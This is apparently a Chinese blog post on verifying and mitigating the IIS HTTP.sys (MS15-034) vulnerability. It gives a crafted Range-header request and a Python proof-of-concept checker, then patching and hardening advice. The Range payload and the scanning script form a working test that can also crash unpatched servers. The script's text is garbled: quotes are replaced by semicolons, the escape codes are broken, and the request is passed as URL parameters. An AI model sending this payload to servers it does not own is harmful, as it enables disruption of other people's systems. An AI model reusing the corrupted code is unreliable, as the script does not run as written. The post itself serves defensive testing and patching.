天天看點

HTTP.sys漏洞驗證及防護

 使用發包工具構造http請求包檢測 以fiddler工具為例,構造如下圖的請求包:

1 GET http://192.168.174.145/ HTTP/1.1

2 Host: 192.168.174.145

3 Range: bytes=0-18446744073709551615

4 Connection: keep-alive

5 Cache-Control: max-age=0

6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

HTTP.sys漏洞驗證及防護
漏洞确認 如果收到伺服器傳回包如下, 則說明存在此漏洞。建議您盡快制定防護計劃,以避免系統在獲得加強前遭受攻擊。
HTTP.sys漏洞驗證及防護
漏洞驗證POC 

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服務是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
        print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 啟動vuln檢查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "請求範圍不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服務無法顯示漏洞是否存在. "+
               "需要手動檢測")
usr_domain = raw_input("輸入域名掃描: ")
identify_iis(usr_domain)      

http.sys漏洞防護

經過上面的漏洞檢測步驟後,如果确認您的業務環境中存在http.sys漏洞,那麼就需要盡快制定并啟動加強方案,這些加強從漏洞更新檔開始,到産品防護,到整體防護,逐漸推進。

漏洞加強

使用IIS的使用者,可以通過Windows Update的方式獲得對應的KB3042553熱修補更新檔,建議使用者開啟自動更新服務以及時安裝最新更新檔,相關公告請見:

http.sys漏洞更新檔公告:http://technet.microsoft.com/security/bulletin/MS15-034

如果您的業務系統暫時還無法更新更新檔,那麼可通過禁用IIS 核心緩存來臨時緩解此漏洞的危險,但需要注意這可能會導緻IIS性能下降,具體的執行方法可以參考:

http.sys漏洞緩解方案:https://technet.microsoft.com/zh-cn/library/cc731903(v=ws.10).aspx

IIS加強

雖然IIS7中http.sys已經獨立出來成為系統級驅動程式,但以史為鑒,建議使用者在安裝更新檔的同時也需要考慮IIS加強事項,具體的最佳實踐請參考:

IIS7加強方案: https://technet.microsoft.com/zh-cn/library/cc731278(WS.10).aspx

參考博文位址:

http://www.ijiandao.com/safe/cto/12829.html

http://www.freebuf.com/articles/system/64185.html